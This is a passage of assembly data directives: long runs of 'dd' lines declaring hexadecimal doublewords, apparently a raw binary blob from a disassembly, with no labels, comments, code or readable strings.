dd 20D5992Fh, 19F4D0B8h, 24F00F29h, 6EE00EF9h, 96B1FD59h
dd 1AD46F01h, 0B652C90Fh, 9E3F9980h, 51ACE8F3h, 0CD313000h
dd 39FBB1F4h, 0F0E3091Ah, 0D4A3C2D6h, 0A3D85DAAh, 0AF071D9Ah
dd 0F84FFEC1h, 0DF8C200Bh, 992F9h, 0D24D5A46h, 6CCF0EA9h
dd 94210F61h, 3D3002D0h, 526D1282h, 0A6144034h, 531510A2h
dd 0ED71A57Ah, 4D1EF700h, 1FFD5CEFh, 8F2C0009h, 0B35E2B2Dh
dd 0D48E130h, 28230FDCh, 0FC1401Ah, 6163346h, 9A3D56E6h
dd 0E001008h, 0BC4042E7h, 0AEA3DDh, 1BB80C1Ch, 69DBFB82h
dd 38A798A8h, 400008DEh, 5ABBE307h, 91964AA8h, 76ADE24h
dd 0B5CF3B90h, 2D100115h, 0C6F3D77Fh, 797600EEh, 5FDF0975h
dd 75D0C32h, 162092B5h, 983C536Eh, 0EAA50504h, 8160D3AAh
dd 7009B720h, 7D044C70h, 0DEB5ECEFh, 980DA8C0h, 2B9E005Eh
dd 17CFE016h, 3F1FB294h, 0C0000C22h, 0DDEBB6AEh, 8ED901BCh
dd 90E1E0A0h, 1EE06F6Fh, 52E609EFh, 3080EAF5h, 0FE515C36h
dd 0FCA08400h, 45F6BC99h, 635B076Dh, 0A019FD92h, 77D33B5Fh
dd 348B4Ch, 9E13F688h, 26D4F8h, 6844E21Ch, 0C8C14A41h
dd 0E0CEE100h, 62F9458Ch, 703903D6h, 5CF4BAD9h, 0B381D8B8h
dd 1FAB1100h, 29FB693Fh, 743C003Eh, 0A44B8D04h, 4200A9C2h
dd 36BDDC45h, 4E6B21h, 0BBFDAAD4h, 96947B9Eh, 0B76D7503h
dd 0E076DA98h, 153899ADh, 0D8090E8Eh, 70D90500h, 1C1BE631h
dd 3877A07h, 0C0877F4Ch, 23080369h, 40A4B2E5h, 162CF87Ch
dd 1DD84F4h, 0D3E3E00Ch, 575BFCA7h, 4A40DF00h, 0B4D594C8h
dd 0A5ED3CECh, 63E3E780h, 0F0315B87h, 8D1F270Fh, 0A4C037A0h
dd 0B6D913C0h, 37F39F4h, 3B83E7Fh, 92E45011h, 10607428h
dd 1D49AA91h, 2D5A1F7Ch, 0FC703D92h, 2CE59B89h, 0A6025F5h
dd 4E641B94h, 848092BAh, 382F1188h, 23F49C49h, 46320019h
dd 0CFA5ED8h, 1210C63Ah, 589CFDEBh, 0B69B0024h, 7802462Fh
dd 0E51F19FBh, 207041D2h, 65B7BCh, 6D63A5ECh, 1D9B07F0h
dd 0A48EA712h, 24C08C57h, 4E1125E5h, 189C0085h, 46345710h
dd 5A3C8303h, 0B44C48E2h, 0D0EFB2C0h, 0FEB500A4h, 56F176A2h
dd 1E0307B7h, 2AFA4F8Fh, 6FDFF845h, 2A80732h, 500EBCA7h
dd 8F863422h, 0C700BDFEh, 78CD2F94h, 0F0968DDh, 43D2B407h
dd 95C8B920h, 9F00A11Ch, 1F52E506h, 0A3E653h, 0A6053F8Bh
dd 294C2F36h, 4FA6F2Fh, 0E88C70D8h, 0F35640D2h, 5548E601h
dd 9A3C0213h, 2CA0074h, 0B59412Eh, 0DC403F16h, 0E904C469h
dd 0B8B0C1E6h, 0AFEF2CC0h, 3D4400C9h, 0D7F2AA74h, 0E52E4DAEh
dd 9104ECF8h, 9A09D615h, 0F15C1C20h, 0A001653h, 0A98C9CBEh
dd 0E5B52743h, 0C030D053h, 6D64FAEh, 42A77E51h, 280518B3h
dd 712FF380h, 2940B81Ch, 193682EFh, 58430011h, 2E8E351h
dd 0ACF2385Ch, 0CEC3F109h, 4D30002Dh, 1466ADh, 24E7AFE3h
dd 0F13E5452h, 65D4B800h, 9A84421Ah, 0DEFE1EEEh, 0FFFC00ADh
dd 0B43F45DCh, 40ECA000h, 0ABF82AD4h, 6EE53C5Eh, 70B76A00h
dd 41D7A1EDh, 957D2800h, 5CC48C71h, 90A74AA4h, 0B87661CCh
dd 1B500600h, 9E2B112Ch, 0B990051h, 0A490A3DAh, 663964E8h
dd 6FD801CFh, 0D16D395Ch, 0E6C97C20h, 0A3E74F3h, 54A52E88h
dd 534F058Ah, 80E403F0h, 0FE903C61h, 0E0276DBh, 7DF3ACC8h
dd 145858h, 0C6BE0BA8h, 3D356040h, 24B1C52Ch, 649E7D80h
dd 7D6E10ADh, 0F694FDh, 58E77E04h, 120094A1h, 0CFC72964h
dd 25BE8Ch, 81240E80h, 11BF832Fh, 2BEABC12h, 0F07120C0h
dd 47ED00A1h, 0E6857DCFh, 6F0FDE50h, 52B62693h, 1484F412h
dd 0AD77F0C0h, 0B7D606FFh, 187DFDD4h, 51E84700h, 58BCF99Ch
dd 0C2ED24E3h, 14BD83ECh, 0E085833Eh, 8817F1D0h, 40AC39h
dd 0BB11FFAEh, 2D0A2FE1h, 13FCA491h, 942AA082h, 450E5A72h
dd 154B890h, 49E14DF8h, 0DF00203Eh, 0AC604A3Dh, 58006029h
dd 80D1F1E2h, 51BD007Fh, 24FEEB1Ch, 5300CF73h, 0C61D41C3h
dd 253D03h, 8A2AED4Bh, 22B92E04h, 80C7FB3Ah, 4773AE52h
dd 0F97D93h, 0C1A5AC0Fh, 2CF3A5Ah, 0BB7C7104h, 56808022h
dd 0E5B7E57h, 0F14363E2h, 0BE904EA0h, 590F25DBh, 823AD860h
dd 804DECCFh, 0E5CB5188h, 45D30223h, 0D749AD71h, 0D088E8A0h
dd 3E58214h, 722ECFEFh, 9FC00C40h, 35654B1h, 0AED01B69h
dd 99D0CA8Ah, 4400AD0Dh, 0B897334Ch, 7FB6AF3Bh, 1480B04Dh
dd 0C0A39BDFh, 77DD1EC0h, 0BE17F8EEh, 9840D946h, 0B4388156h
dd 139600D3h, 7D230610h, 6C2C2E92h, 4A1C90FEh, 82396189h
dd 0C017C334h, 1464BEAh, 0B081B3Eh, 0C1BD89B3h, 0EACBEC19h
dd 80AADF00h, 0B8A35A45h, 224200F1h, 0A1F30236h, 2E030BBEh
dd 3DDE1F1Bh, 0C6F400FAh, 0CBF837ECh, 38004B2Bh, 798A9554h
dd 3E820776h, 0B76D652h, 90A18F0Ch, 269BECE3h, 9A8DFDA8h
dd 94F838h, 61EAC54Fh, 7A3029E0h, 0FEA7001Bh, 983326A8h
dd 49FE9CD2h, 153E6200h, 0FB44268h, 9BFD0041h, 0AB30950Bh
dd 7B982293h, 6F7E8807h, 8D7082A7h, 360586h, 0D5D8EA48h
dd 2429B0ECh, 1C033F3Dh, 0AB800E2Ah, 0A955FD12h, 34E80058h
dd 4ADD7AF9h, 0A00017E0h, 5456295Ch, 0F5070Ah, 75D09ADCh
dd 0C921C49Dh, 0AC03B500h, 87449204h, 93BB0731h, 2090DC1Ah
dd 46CCB81Dh, 56DDDA01h, 0CDBD4FB6h, 0BA2CD4h, 0F93093D8h
dd 0A6C1C361h, 9484FA00h, 7E9EB104h, 0ECC8072Ah, 65C53185h
dd 446090E6h, 0FC001529h, 0F610A9BAh, 0E2A656h, 68AABC50h
dd 8FDCE57Bh, 0C5BF7000h, 0D376917Fh, 0A82A17EAh, 2058492Bh
dd 4384487Bh, 0A8A04BC4h, 10800075h, 0ED4D897Ch, 90FE0FCBh
dd 0A8D09D16h, 0E0EA330Eh, 0D9744F18h, 52F21CB8h, 978C0D4h
dd 7B200F82h, 0C2ADE007h, 6310C442h, 7F6E8CD0h, 8E060005h
dd 0EE6DE3D1h, 10BEA21Eh, 0E03A3F0Fh, 0BA68C1B6h, 54B236h
dd 0FCF3A9B8h, 0D56A025Eh, 18092630h, 7453E4B6h, 68C315CFh
dd 0AB2018A0h, 6A0D8E1Eh, 37026E40h, 0D05457h, 0DF0E7DE9h
dd 8314CCF4h, 1F4DBCA0h, 0B6C9E000h, 0BFF9804Bh, 3D521404h
dd 267F4CF7h, 80806109h, 0F1371502h, 0D77068BEh, 81CEF28h
dd 0F7283F07h, 0CB201253h, 0A8F36CCEh, 4CDEE5B4h, 0A9001157h
dd 0D19CDF36h, 0A600A54Dh, 0E449546Eh, 1F980B2Fh, 9C39592Dh
dd 23F9C0B3h, 0A3161413h, 620EDAF8h, 23541EBDh, 1053493h
dd 3FA5B18h, 0F47B10EFh, 45065A66h, 35FF21C1h, 0DA361320h
dd 54E4C037h, 0FA7FAD61h, 7B009590h, 11A559A8h, 18E5513Bh
dd 18B081ABh, 0B53521CAh, 608340D6h, 6E3C7B6h, 0C271C024h
dd 281B60BAh, 7C72B553h, 79F88CA8h, 0A855E238h, 0F9D7B039h
dd 501E8C56h, 91CA8930h, 8451C77Eh, 0E733C1F4h, 0AAD1871Ch
dd 7B601EABh, 6710C638h, 1ED3416Fh, 0B7786B61h, 56CC50BDh
dd 44181924h, 0A510FB23h, 0B98C0ADh, 0D555F073h, 5439F40Ah
dd 7E006033h, 16D92E68h, 38D103BEh, 896695C0h, 578058A8h
dd 9D2A3200h, 679939DEh, 0C6AC3E20h, 0F95DCF8Fh, 9032F607h
dd 0BF08698Ch, 59DFD30Fh
dd 718F803Dh, 4C7F86BCh, 5D0042A1h, 0A85EC15Ah, 3C07B9B3h
dd 71316E55h, 3F95B411h, 1C7B08D4h, 80A49C88h, 0D41E7EB0h
dd 0E700DDA3h, 0C409331h, 7AAB7D38h, 0D8DA157Fh, 3624A4D9h
dd 0BA5F0063h, 28F6E16Eh, 0B4AD1709h, 1450105Ch, 90AE54BDh
dd 85754FB5h, 0E5C03E4h, 10067C60h, 7038A5AEh, 0C0DB3918h
dd 0FEDF7D74h, 65E0E97Fh, 6A550068h, 521D03A3h, 9A03A657h
dd 0F8EDA4EAh, 0EC16C028h, 454B0AD0h, 3E38B917h, 8B4C0070h
dd 4438488Ch, 0B9C0F022h, 0D5C3BAA4h, 0A935610Fh, 0E8110727h
dd 95002E8Bh, 4EB20B9Ch, 0B4A31Dh, 0D35D0DFBh, 3746715Ch
dd 0A026579h, 472F1BF4h, 0DBF4493Fh, 259A20h, 4D468690h
dd 0D74C05BBh, 0C2200890h, 4FA20068h, 24CE7759h, 0FA009E5Ah
dd 0BF7E0F87h, 6FFBBAh, 0F5EB9F37h, 3308DD3Ch, 0E4008275h
dd 0F4850C5Fh, 187CCEAAh, 40BB7F83h, 8C0C6D1h, 8F1AD2D8h
dd 2526071Fh, 90EFBDDDh, 6E4D0B7Ah, 0ABAD8018h, 734AB529h
dd 9D0400BBh, 19C578B0h, 6C0835A9h, 474453DCh, 863FB06Eh
dd 0F40E1DD3h, 801037D9h, 1B6E65Fh, 0F2A4008Bh, 0A2958879h
dd 290794B1h, 0E590885h, 0B4840F31h, 3A0CD0F0h, 0D70F8BF9h
dd 8E23E2E3h, 6000D1E4h, 0FF3F12CEh, 703132h, 0DEEBF054h
dd 0EA057155h, 89AAD730h, 7B4A3Fh, 0E9E1B9F2h, 0E8E5F80Ch
dd 53E4427Ch, 0AF011C74h, 2F6ECD57h, 0AC5167B8h, 4180A3D1h
dd 0A9174DDDh, 4E00BC2Dh, 871FDC20h, 7845747h, 0BAED3EFDh
dd 85E010F7h, 0CD61A6D0h, 1FA9BF39h, 0EC07A8BCh, 267C5905h
dd 0A2016196h, 7AAAFB9h, 6BFC1083h, 0D93467E5h, 9ECC538Fh
dd 5FF15380h, 708A907h, 1E333FF2h, 500FF07Fh, 180D2716h
dd 4D076EFCh, 14A0F9A7h, 0E0CBB50Ch, 0F45D0064h, 0DB924CC8h
dd 0D2008D36h, 0FCA1D48Ch, 1682719Eh, 80E00AE3h, 0AEBF1080h
dd 4039546Fh, 631FD384h, 7567849h, 0A311EAC0h, 711C30C3h
dd 6403FFE7h, 7459D27Dh, 88BF9Ch, 6C03274Dh, 8C72204Bh
dd 5840FC07h, 0B4A04C7Ch, 9B918Dh, 0D7DDC4Eh, 4A06E346h
dd 0D9B5C000h, 0EF394B7Fh, 6E590C75h, 5689F679h, 620A3EECh
dd 34B52ADAh, 8D3B2900h, 1E7D223h, 25FB0E3Dh, 0DC7F3646h
dd 0F700EE43h, 0EF9CACECh, 506FCAC2h, 7F6C67h, 314C79D9h
dd 0C586B0E9h, 0F8B4FB25h, 19DD010Ah, 5A6D2AADh, 6880F039h
dd 5E639001h, 5FF97BD7h, 5894F89Dh, 282F51D3h, 0A84059DEh
dd 0F3C7CAD2h, 0E59EEB9h, 0B03E8BBBh, 17E009EEh, 4C97C2A7h
dd 0E1C15D00h, 65ADFD34h, 87D403DFh, 0B7D21886h, 0C24E0818h
dd 0A51320h, 53631165h, 9A1AB952h, 6A988400h, 9877A7Ch
dd 0B01300D7h, 17463CB6h, 390049B3h, 8D78C76Eh, 0B9474Bh
dd 7B5D3484h, 0CB5E0CE7h, 44EAF600h, 0C76DFAEBh, 28AB6C70h
dd 610C5D91h, 115F97F8h, 4E1007AAh, 0C0760A24h, 8628375h
dd 57AEA80Ah, 465E6841h, 50E6485Ah, 350725E2h, 28986A41h
dd 321BAA3h, 0B634F768h, 9000A0EAh, 9EDF81C1h, 7D113CFh
dd 0D97A77FCh, 355643E7h, 8262000h, 3A5A99Ch, 0D197606Eh
dd 7735FA7Fh, 10AFE837h, 5741A140h, 0F1025CACh, 0CE00A73Bh
dd 60F35601h, 8E0035E6h, 0A034B6BFh, 0ED5E67h, 0AE3B453Eh
dd 814B74E2h, 2D3FF600h, 0AFE04275h, 0BF880049h, 67A9DB7Fh
dd 7B17FDB8h, 88004D20h, 89EA76E4h, 0CDA126AFh, 0F2003CD9h
dd 996BE795h, 0F900E436h, 5E3D3166h, 7E7A02E5h, 71A91D25h
dd 18243Bh, 0BA88AA8Eh, 7C0706A6h, 4B97990Eh, 50CD87E7h
dd 0CD452980h, 505C01F1h, 89B11C0h, 3A3EB4Bh, 0D66C1734h
dd 33A3168Ch, 0E1962118h, 0F2FD5748h, 86BA00B2h, 5E1E4CE2h
dd 3A0F5B41h, 38EE3E0Dh, 0FC73B31h, 7A7F9118h, 702E4980h
dd 61E947F6h, 3A20806Ch, 0FF559107h, 8EBE0012h, 14DFC82h
dd 0D3A2A2AAh, 6C569021h, 0E5AC401Dh, 10E697BFh, 0E4C018DBh
dd 0EF4BDC60h, 6A14A310h, 7A803DC8h, 81364B15h, 51B7021Ch
dd 3FC32F80h, 5B7388A0h, 1400A7AEh, 0E1BD1992h, 0C57D65Dh
dd 0F99A889h, 671DE7B0h, 0A9C0B668h, 2ABB79F7h, 28E732Fh
dd 6483F306h, 0E4801309h, 0F23A1233h, 2098DD07h, 0E46036B8h
dd 0DCE7B0h, 0EAD995C7h, 2361CCECh, 0AAF30807h, 597073ADh
dd 883FEEh, 8470557Ch, 0D2BD78C5h, 3600EAE2h, 37DE0F7Eh
dd 24F48C51h, 69DDFFBh, 0F8CF11B9h, 0B03B7B01h, 7AD4B6E9h
dd 0AEF8A06Eh, 4D00AF70h, 0C3F980DEh, 7EB66104h, 3508C3ACh
dd 1000C859h, 0AE86C9Bh, 0E2B31E27h, 0E0CFB001h, 0FF160CBDh
dd 583C053Eh, 4B569B1Dh, 984F28F1h, 14B38B10h, 0D5082181h
dd 2B51FB62h, 8232599h, 8C802D14h, 0CAF54180h, 1C670019h
dd 2D5E040h, 4800C6B0h, 602A20BBh, 3946B6E2h, 548CA585h
dd 40F60364h, 8C6E4800h, 0FCDE659Ch, 77703D1h, 0FFAEF517h
dd 85D77CA0h, 8734BC03h, 801ED357h, 0B8902FC9h, 6749028h
dd 6CE8FC95h, 0FC809EAFh, 0FE4BC8Fh, 20C07630h, 652FFAh
dd 0C7B1D089h, 91A3DC2Eh, 857ECE07h, 0E090D5B8h, 0FA9E68E9h
dd 0C9AF0073h, 109C36A1h, 37EC223Fh, 408D8500h, 1DE396F7h
dd 68AB3857h, 0CB419A8Fh, 210AFB73h, 500084EBh, 0E98F6ABCh
dd 0DA0431A3h, 0F85940B8h, 1A01A4B5h, 0C16DB2D6h, 88ECCB2Dh
dd 68D71C67h, 0EC46D831h, 0E9FC8B36h, 4117997Ch, 0F1C710Dh
dd 9BEC9240h, 45CCBFh, 0D6C13BCBh, 1776166h, 7BC6F91Fh
dd 50C791C0h, 0A0EDA5h, 0E44E8A79h, 1C99CC5Ch, 0C182B900h
dd 0A397511Ah, 43E703A1h, 7FAF1DDBh, 80194199h, 81D8BBBCh
dd 78C5FBFh, 0F8CAB3FFh, 56B89072h, 0AE607A9Ch, 9FFD7CD0h
dd 0D9190049h, 5F432E5Ah, 3305C12Bh, 644E7ABEh, 0B89AD483h
dd 0BD9FEEh, 1B7C2C4Fh, 0A01809BAh, 31645600h, 0CC1586E8h
dd 0F0B14EFh, 74F8D2h, 5EACA734h, 0C2F7E510h, 0A281E0A0h
dd 91275A03h, 0C839A985h, 255544h, 80E2FC08h, 4FD2F5CDh
dd 0AC795E00h, 0B4A58415h, 0A6FA00B9h, 6FF98BA7h, 0B56004BDh
dd 443228EAh, 428D1C21h, 0E9C74029h, 4FFD199Eh, 255DAC00h
dd 92AEFA71h, 16D200EAh, 0FE890F6Bh, 8E00C704h, 852B14C2h
dd 0E4033758h, 0D0E69Fh, 26958971h, 4434C06Bh, 69044C09h
dd 606C12EFh, 24BBE51h, 0FE0F949Fh, 6840E0DCh, 4C006AAFh
dd 0F61475BDh, 6DA603h, 5F20F2E9h, 261B2313h, 6E9F620Eh
dd 0BCC9C351h, 853BE822h, 0F07700CAh, 9173C34h, 6E006A7Bh
dd 127FF20Fh, 0FD6CBF9h, 4B9FE413h, 0BF774D01h, 0A09024DDh
dd 7A79558h, 924666FEh, 0EFE6E0E0h, 5F240040h, 0FD08DB35h
dd 0A3B0B361h, 4AD4BE1Dh, 6E787080h, 1CA1D884h, 1FF743DAh
dd 133A4005h, 37AA9F27h, 8059D430h, 3E8A6FDh, 0D653EF55h
dd 61B0ECDEh, 2200F96Bh, 0BD4F67E3h, 0E9A8835h, 0CD9BEFA6h
dd 60CE15C7h, 0F6B457FFh, 351FFD00h, 7D754E09h, 7771001Bh
dd 49C60DB3h, 5500C83Fh, 4138D26Eh, 1E723E0h, 8BEE0FF5h
dd 0E437C161h, 0C32853BAh, 5A0090C7h, 94EBA36Bh, 0EE5CFBCFh
dd 93F90C78h, 617889CBh, 0E8D0D80Fh, 0FAEC00FFh, 2696A9DAh
dd 7645323h, 507B2ECBh, 0F9C5C899h, 3C073501h, 0CD4A93D4h
dd 6B29C4h, 0EB1BBA3Eh, 67B0FA75h, 0EE6F4500h, 5EBB1E54h
dd 44C30039h, 7AFE7DDDh, 37127869h, 890027ECh, 398B9C46h
dd 1FC7002Eh, 0AE43F751h, 0B47D47C6h, 3D6B7C03h, 0C00BF0BDh
dd 1D91DD4Dh, 7E66AAC9h
dd 0B188DA80h, 0B5580E33h, 0F4D0501Ch, 0DF17A880h, 6898A4h
dd 42152595h, 0FC52855Ah, 40A51800h, 87A9C0EEh, 16D979B8h
dd 0B30328h, 264DC380h, 0CF008251h, 0B6102422h, 328A17h
dd 95732E42h, 2DA13935h, 76333E00h, 8303D6B0h, 819200B9h
dd 97A53AA4h, 0D4E39B6Dh, 280361D9h, 57BB4B24h, 3F41A045h
dd 467EA2h, 0C4BDC789h, 2B5E9009h, 0ADC3E700h, 191B3613h
dd 0E96A00C9h, 6596F4DFh, 5802D906h, 0E7800163h, 86A140A1h
dd 79AB0049h, 264CB3D2h, 0FE00F35Eh, 0F03DFDBDh, 3A97DFDDh
dd 0A68121F1h, 9431041h, 0D7E5FC67h, 9CFFDB75h, 0B8809A58h
dd 4D8B18FAh, 0F3BC0069h, 97F28DDEh, 5E00E246h, 0FC0616FBh
dd 0EA3FA6AAh, 3E420031h, 1F9B8E39h, 0F805F65Fh, 7E64EDEFh
dd 0D9E69700h, 351792h, 1B812D89h, 54D5F78Dh, 0D6080500h
dd 0DAD47A8Eh, 6B630070h, 0F91BF622h, 41005232h, 962A0DBAh
dd 0E874331h, 0E1323ABh, 8E3AA960h, 86078432h, 4BD063B3h
dd 0A3986241h, 0CB4AB03Ah, 1FD11800h, 0D4F084B1h, 7EE679FCh
dd 0DD2C1F6Ch, 0AC06C019h, 1FE707A0h, 80046F6h, 9D60F610h
dd 7C77FCAh, 1B82449h, 0C6A410A9h, 0DD009537h, 7B26B3ECh
dd 0FC913DAh, 29BFF706h, 6E470517h, 0F281002Bh, 35165466h
dd 8948A303h, 0D021E61Eh, 5EAEF1Ch, 5DB58A94h, 0C8C2C10Fh
dd 7CF8E8BFh, 5372E01h, 7EDDD2F6h, 725780E8h, 0E9D93E1Eh
dd 2F88D687h, 0BE40D097h, 8CA84CC6h, 0B88384E8h, 71885492h
dd 19AA008Dh, 1F01FBE3h, 9600B004h, 0BC53B895h, 1FD4051h
dd 0EED5F542h, 0D857BAA7h, 170128A6h, 0EDD2DFD4h, 56D43A92h
dd 710B0043h, 79525915h, 0B200D432h, 1572FF5h, 0AD30C6h
dd 51CB9EFAh, 0CE67DCA1h, 0CD37C000h, 6C8CEC57h, 1F72E8D7h
dd 80057D86h, 985A961Bh, 0D5091444h, 802C3D8Fh, 59CFEA5Dh
dd 5BEE00A9h, 0B4A20464h, 0AD128654h, 14003865h, 26214392h
dd 5C4C803Bh, 7CC38A05h, 0AF80AB86h, 48AD421Fh, 0CC0086BBh
dd 6303B8A4h, 9A48470Ch, 1F451278h, 80EB4100h, 6D84FFh
dd 1EB1134Ch, 8D249EDCh, 0C1B33107h, 3E30D41Ch, 78E6375Bh
dd 5AC90061h, 9E8F828Ch, 1E1D327Eh, 9B893197h, 1378013Ch
dd 0A0498DF7h, 3B06E4h, 1AFD2260h, 2E139B7Dh, 0A978ABF2h
dd 0D1EA3Ah, 727061B5h, 73CA8Bh, 1BF85408h, 29E2B6Dh, 0D60F8600h
dd 5DBBE4C5h, 54570064h, 6544312Eh, 7B00DC96h, 56D41172h
dd 1C9A9Eh, 0DDA480BAh, 0B3B50761h, 9519B00h, 90C772BBh
dd 0C43C0F2Ah, 0A2401CA6h, 0B23E5531h, 22073D98h, 3D0368F3h
dd 0D8CDA380h, 7D4802EFh, 6CE173B9h, 27782060h, 0C8AD8F00h
dd 0BAEF9E32h, 88400CFh, 1E626DDAh, 0C9000D79h, 14690522h
dd 0C0BAADh, 0AC83AEE6h, 6CE9ECA1h, 7A2A393Ah, 917CC879h
dd 9826021Fh, 3A2B31C0h, 1F6086F2h, 6B1C2h, 52A77CB7h
dd 5524F3C5h, 0E02098EBh, 57AAC01Dh, 0B1839380h, 2D3587h
dd 1BABC8Fh, 9ED7C1FBh, 82DAE600h, 4AB34033h, 0C42B07D0h
dd 0D08870F1h, 535FA0Bh, 1ADAA38h, 193AA614h, 61B916A4h
dd 96421Fh, 0E561EB34h, 81071592h, 0ADCE9585h, 11661B60h
dd 0CF3D0D9Dh, 0E298E25Ch, 0C0D4AA61h, 7500E590h, 2DA61B95h
dd 0C915A10h, 175D18DFh, 7B1EA861h, 7A006476h, 0CB8CEE96h
dd 0C6DB03FCh, 5F6AAF3h, 9ED21800h, 0B1668DB0h, 3890066Eh
dd 691389B2h, 9E461003h, 14F19530h, 60A61980h, 76639601h
dd 0D183A2EDh, 1951F417h, 3170A754h, 6889500h, 0A35DDE7Ah
dd 0F73C0083h, 28CEAB46h, 2E00E6D5h, 0E438B9EBh, 0E591A47h
dd 5C81F755h, 3FC89BC1h, 0DDF6D8F3h, 0B3322A1Ch, 0DFF2F900h
dd 7F41E49h, 409E23E6h, 0AE4701EBh, 3AF8CCEEh, 0DEB90500h
dd 7C1A39F4h, 0CBD50044h, 0BEFAC3DAh, 0E90BB275h, 872504CAh
dd 0D1A136FAh, 0E180A64Eh, 0CCE3D8BCh, 0B37E87EFh, 0D70F4A76h
dd 0E37E495Bh, 0B777C629h, 480931B2h, 17CC14h, 94C8FAABh
dd 0B9D39BADh, 78C681Ch, 0DE43E703h, 0E0283F09h, 9E0C6426h
dd 0D1F6413Eh, 5740ADC7h, 2BFBB098h, 0D916C6FDh, 2D063DDFh
dd 99AA4Fh, 0DAF2423Ah, 0B5B157E7h, 7DB85B01h, 5AD6C280h
dd 79B43060h, 36578AEh, 89FEC4C6h, 5CE0C80Eh, 0D1E40C9Bh
dd 16B66E00h, 5AE7F842h, 0D8E216B5h, 67E20CCEh, 151CC999h
dd 83C07E6Dh, 1B6B8471h, 0C6200743h, 906022FEh, 97C5CDB7h
dd 148C772h, 324301ACh, 89669BC3h, 15952440h, 5A340E2Dh
dd 9DC7183Fh, 8199090h, 2A3EE6E8h, 0FF67800Eh, 89AAFD1Fh
dd 0DEF809h, 0E4E0A3ACh, 0F8BFB51Dh, 0E5A92B0Fh, 47011234h
dd 0E80F57E9h, 0C8A14D70h, 0C287A929h, 5790C8FFh, 6DD95Fh
dd 3A69CFA7h, 8679423Dh, 807AEE2h, 0B1F23F21h, 0DFAC9800h
dd 1504000Eh, 84A0D95Eh, 0DA00C110h, 63C9A9F7h, 662218h
dd 90121BE7h, 57D85E56h, 84D3E907h, 0AA675D28h, 0A3CC55C0h
dd 15970059h, 94E011EFh, 0DF00EBFAh, 0AFF7CA34h, 0B9E2A5h
dd 0D5B01FF9h, 742FE4C3h, 2E38711Fh, 0BA6B4400h, 0B71DD9h
dd 667F1032h, 0C835CE6Fh, 810DF500h, 0CA2201E6h, 2E4F0ABEh
dd 1FA0E7F3h, 0FF07C75Dh, 0EE4750D5h, 0E374A49Ch, 6B45DC03h
dd 9BF7504Dh, 9BE1D037h, 0FF76FEh, 0C64E869Ah, 41160C20h
dd 6A437103h, 0E0A649ACh, 0BF4B8Eh, 0EACCDB67h, 8104C53Ch
dd 0E80B5573h, 7F914Fh, 0E5878D49h, 1A3500D8h, 0AFA520Bh
dd 3D05F46Dh, 7AFB6BA7h, 0C0FBB385h, 0CFA805C0h, 0B0B6E60Fh
dd 6003EB8h, 82168880h, 0D7865C44h, 694B6E07h, 0C03E9FFh
dd 0C8A812C2h, 6D0076D1h, 0DCC7A035h, 0F537F69h, 0A6FB794Dh
dd 3D8808E0h, 9A71CC0Fh, 849C8300h, 92ABE83Ch, 735B0078h
dd 0D8AF1662h, 98003ED6h, 47350F85h, 77E39D6Ch, 21F604Bh
dd 0D4B8972Ah, 46D03000h, 338F2302h, 0C1B007Fh, 93C9DC2Bh
dd 0DD1C3EBEh, 4480E5A7h, 48F4C0C4h, 38F90068h, 0F6A290F1h
dd 97009D09h, 0E631989Eh, 1B0020Dh, 707F9F83h, 0C0E3E046h
dd 0A300F7C6h, 13AC308Dh, 23437FAh, 706736CBh, 5460AB9Dh
dd 19063B78h, 984F8B1h, 0AEFE2CD0h, 249001Ah, 8BDC6918h
dd 6C798909h, 84805FEEh, 0A0665D81h, 5CD2A300h, 6A3F0DCFh
dd 0AA8A07A6h, 900A2DF5h, 554F72Ah, 0AE3E9D71h, 0F4F900BFh
dd 0B313C2A6h, 0CFA0730h, 70B1D848h, 6E0F148Ah, 29C68D02h
dd 0E06B80C3h, 0D8D43Dh, 60F9D724h, 2BFE7433h, 1B8F43Fh
dd 77CEB322h, 98201407h, 7DC33D05h, 0D519A900h, 0CFF5BED0h
dd 81836300h, 1A009C6h, 1B19C091h, 908E5F50h, 97BCA61Ch
dd 0B2C00BDFh, 63F6A4CFh, 0C03A0059h, 0F37EBEE9h, 9271C984h
dd 99E4D700h, 0FDF8166Bh, 0A8B07FF2h, 0E7F2498h, 3F063B50h
dd 0A303A6C2h, 986922E0h, 3D0FE272h, 0EB8659E3h, 0A4EA0090h
dd 0B805095Dh, 0AAC50045h, 0CD11504Fh, 7A03DE9Dh, 660EE858h
dd 2EF0008Ah, 1B79E4F0h, 0A400ACD4h, 0E977622Dh, 0C843D7h
dd 42B566C5h, 0A8BCA9F3h, 680A48h, 29D8798Eh, 6096A384h
dd 2B2D489Ch, 9E009413h, 3AE60AFDh, 60DF3299h, 9F6211DCh
dd 0B706D6B3h, 0CCAE76A8h, 0DDA20119h, 31D94C5Fh, 11A9D07Bh
dd 16E84100h, 4EE7C9AAh, 54AC98EBh, 0C27C0Dh, 0CD291B1Ch
dd 314D84D6h, 0C9EB5007h, 6420B28Fh, 72FFD970h, 7E6A1C91h
dd 0A3AF4914h, 70E3E707h, 0DDD74C76h, 74BE9B00h, 0B9ABAAFAh
dd 300E00C4h
dd 51C35848h, 301F93Ah, 78E3E762h, 85E88F14h, 817300ABh
dd 4BC580D3h, 0B601902Dh, 0C6E98BBh, 6370CE14h, 0BFE8485Dh
dd 7F656A0Ah, 772300E0h, 0E1472937h, 54988C07h, 0E6001D74h
dd 0EE786D43h, 0DFF10250h, 45290709h, 0FDBBEC68h, 1D08200Bh
dd 0FEDEB2h, 87C5159Dh, 98482EB8h, 9313E78h, 83FFA628h
dd 0B80C35C8h, 45B214h, 9F8A8E89h, 0DC58EEE9h, 19066D09h
dd 2880F0Ah, 60D2BF5Ch, 7E6B5F0h, 93676029h, 0D396B0F1h
dd 9A00FF52h, 0EFE334C9h, 91E64Dh, 8386810Eh, 79DDC4C7h
dd 0C5A658h, 52E57C2Bh, 1D7EE62h, 46F53B25h, 0C8816E29h
dd 0F9094C19h, 7A13A7h, 7F777028h, 1CBA1657h, 0F04001Eh
dd 24EA4B18h, 97ACC12h, 0EC700800h, 0CE2980h, 3A0EC86Ch
dd 29CC012h, 8013263Dh, 29E140E4h, 0F115448h, 5B355983h
dd 0B9CB1EE0h, 0E4482879h, 572D0018h, 26604415h, 58CA001Fh
dd 0C4F6A645h, 36013D93h, 1BC524A3h, 0FAF03CFEh, 0E8834C96h
dd 1DAC9A26h, 68803C53h, 58041811h, 8A002E84h, 818D9CAFh
dd 3BD7F2E0h, 68369B2h, 0C7A597BBh, 744494E0h, 7BC6D21Eh
dd 0F74BB040h, 12CC8FBh, 5D01219Bh, 3020A6A1h, 230F2528h
